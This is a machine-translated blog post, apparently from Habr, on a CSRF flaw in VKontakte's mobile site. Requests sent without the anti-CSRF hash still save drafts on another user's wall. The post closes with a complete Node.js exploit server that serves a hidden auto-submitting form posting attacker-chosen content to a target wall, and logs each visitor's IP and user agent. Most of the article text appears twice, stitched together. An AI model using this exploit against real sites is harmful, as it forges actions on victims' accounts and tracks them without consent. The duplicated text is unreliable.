We leave users secret messages and play agents
Greetings, my good friend!
It's time for another article about vulnerabilities, CSRF attacks, and secret agents!
Rather, dive under the cat!
')
First, a little bit away from the topic.
In my last article about Clickjacking , I made a presentation on an unclosed, at that time, vulnerability. Well, of course, grabbed a couple of minuses. Mostly from workers VK. I would like to comment on this: that article was indicative, and since a person best remembers real life examples, I placed emphasis on this. Someone did not like it. I apologize, but I will have to disappoint. In this article, we again touch on the vulnerability of VK. But do not be offended ahead of time! It will be a warm Christmas post :)
And one more thing, again not on the topic topic, but even now you should not close the tab and continue surfing the Internet! The fact is that I am a student, with a bunch of problems and a lack of free time. But while I was doing a jailbreak for ios 7.0. * (Yes, that's right) I found some interesting vulnerabilities in ios 7 version. It's okay, just another portion of fun. To what I am all about: I attached a survey to the post, where users will decide whether to start a cycle of articles about these vulnerabilities.
That's all, let's move on to the goodies of today's post!
So, in this article, we will look at the VC vulnerability, which allows us to embed a message / picture / link / video / document, etc., into a draft message on any friendly user wall. Yes, all together!
Using CSRF vulnerability - the heroine of today.
Log in to the VC and monitor the data transmitted to the server when creating a record on our wall.
VKontakte implements a simple and effective protection against CSRF attacks: the hash variable contains a specially generated string that is checked every time the server accepts your request. Well, of course, if the verification string on the server and our submitted string do not match, the request will not be processed. This is nothing more than a CSRF token.
But take and make a check on the fool! Send a request that does not contain the hash variable.
As we see, the defense has worked correctly. The request was not processed. But giving up would be just silly.
We enter in the address bar the site of the mobile version of the VC and go to it. And yes, we will simply enter the mobile version of the site. Did we enter the password? I do not remember. Then what happened? Let's figure it out!
In this part, I could be wrong, correct, please, if I'm wrong.
At the first successful authorization, the VC server installs a cookie on the subdomains.
Therefore, cookies are valid for * .vk.com
We will try to carry out the above described actions, but already with the VK mobile site.
Sent on your wall text.
The hash variable is here too. Let's try to send the request again, but without it.
Hmm, by all indications, our request was not processed. In the answer we are told that we need to go to another page, turn.
Yes, our guess was confirmed. Trust but check!
As we can see, the request was partially processed. Ie, we could not post the recording, but we saved the draft :)
Remains quite a bit.
Well, what explot without demonstration :)
http://www.youtube.com/watch?v=fPJ_dhNWhmE
Hope you enjoyed it. I ask you to immediately report all my shortcomings and mistakes, I will try to correct them.
It's time for another article about vulnerabilities, CSRF attacks, and secret agents!
Rather, dive under the cat!
')
First, a little bit away from the topic.
In my last article about Clickjacking , I made a presentation on an unclosed, at that time, vulnerability. Well, of course, grabbed a couple of minuses. Mostly from workers VK. I would like to comment on this: that article was indicative, and since a person best remembers real life examples, I placed emphasis on this. Someone did not like it. I apologize, but I will have to disappoint. In this article, we again touch on the vulnerability of VK. But do not be offended ahead of time! It will be a warm Christmas post :)
And one more thing, again not on the topic topic, but even now you should not close the tab and continue surfing the Internet! The fact is that I am a student, with a bunch of problems and a lack of free time. But while I was doing a jailbreak for ios 7.0. * (Yes, that's right) I found some interesting vulnerabilities in ios 7 version. It's okay, just another portion of fun. To what I am all about: I attached a survey to the post, where users will decide whether to start a cycle of articles about these vulnerabilities.
That's all, let's move on to the goodies of today's post!
Understand the anatomy of agents
So, in this article, we will look at the VC vulnerability, which allows us to embed a message / picture / link / video / document, etc., into a draft message on any friendly user wall. Yes, all together!
Using CSRF vulnerability - the heroine of today.
Log in to the VC and monitor the data transmitted to the server when creating a record on our wall.
VKontakte implements a simple and effective protection against CSRF attacks: the hash variable contains a specially generated string that is checked every time the server accepts your request. Well, of course, if the verification string on the server and our submitted string do not match, the request will not be processed. This is nothing more than a CSRF token.
But take and make a check on the fool! Send a request that does not contain the hash variable.
As we see, the defense has worked correctly. The request was not processed. But giving up would be just silly.
We enter in the address bar the site of the mobile version of the VC and go to it. And yes, we will simply enter the mobile version of the site. Did we enter the password? I do not remember. Then what happened? Let's figure it out!
In this part, I could be wrong, correct, please, if I'm wrong.
At the first successful authorization, the VC server installs a cookie on the subdomains.
Therefore, cookies are valid for * .vk.com
We will try to carry out the above described actions, but already with the VK mobile site.
Sent on your wall text.
The hash variable is here too. Let's try to send the request again, but without it.
Hmm, by all indications, our request was not processed. In the answer we are told that we need to go to another page, turn.
Yes, our guess was confirmed. Trust but check!
As we can see, the request was partially processed. Ie, we could not post the recording, but we saved the draft :)
Remains quite a bit.
We write exploit
if (!(process.argv[2] && process.argv[3] && process.argv[4] && process.argv[5])) { console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' wallID picID Href-like-text message'); process.exit(1) }; var http = require('http'), payload = '<html>\n' + '<head>\n' + '<title>SenDey"s day! fil9 2014</title>\n' + '</head>\n' + '<body>\n' + '<center><img width="400" height="400" src="http://0day-4you.ru/uploads/posts/2012-02/1329918231_68217548_01.png"></img></center>\n' + // '<iframe name="sandbox" width="1" height="1"></iframe>\n' + // '<form method="POST" id="payload" target="sandbox">\n' + '<input type="hidden" name="attach1" value="' + process.argv[3].replace(/"/g, "") + '"> \n' +//picID '<input type="hidden" name="attach1_type" value="photo"> <!-- type of attach1 -->\n' + '<input type="hidden" name="attach2_type" value="share"> <!-- type of attach2 -->\n' + '<input type="hidden" name="url" value="http://' + process.argv[4].replace(/"/g, "") + '.sendey/"> \n' + //Href-like text. JFF '<input type="hidden" name="message" value="' + process.argv[5].replace(/"/g, "") + '">\n' + //message '</form>\n' + '<script>\n' + 'var payload = document.getElementById("payload");\n' + 'if(payload){\n' + 'var protocols = new Array("http","https");\n' + 'for(var i=0;i<=protocols.length-1;i++){\n' + // 'payload.action=protocols[i]+"://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '?act=post&from=profile";\n' + //target Wall 'payload.submit()};\n' + 'var newloc=function(){document.location="http://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '#wall"};\n' + // 'setTimeout("newloc()",1000)}\n' + // . Chrome '</script>\n' + '</body>\n' + '</html>\n'; http.createServer(function (rq, rs) { rs.writeHead(200, { 'Content-Type': 'text/html' }); console.log('----------------------------\n' + 'Url: ' + rq.url + '\n' + 'Ip: ' + rq.connection.remoteAddress + '\n' + 'User-agent: ' + rq.headers['user-agent'] + '\n' + '----------------------------\n'); rs.end(payload); }).listen(8080); // 0.0.0.0:8080 Well, what explot without demonstration :)
http://www.youtube.com/watch?v=fPJ_dhNWhmE
Hope you enjoyed it. I ask you to immediately report all my shortcomings and mistakes, I will try to correct them.
Source: https://habr.com/ru/post/208200/
All Articles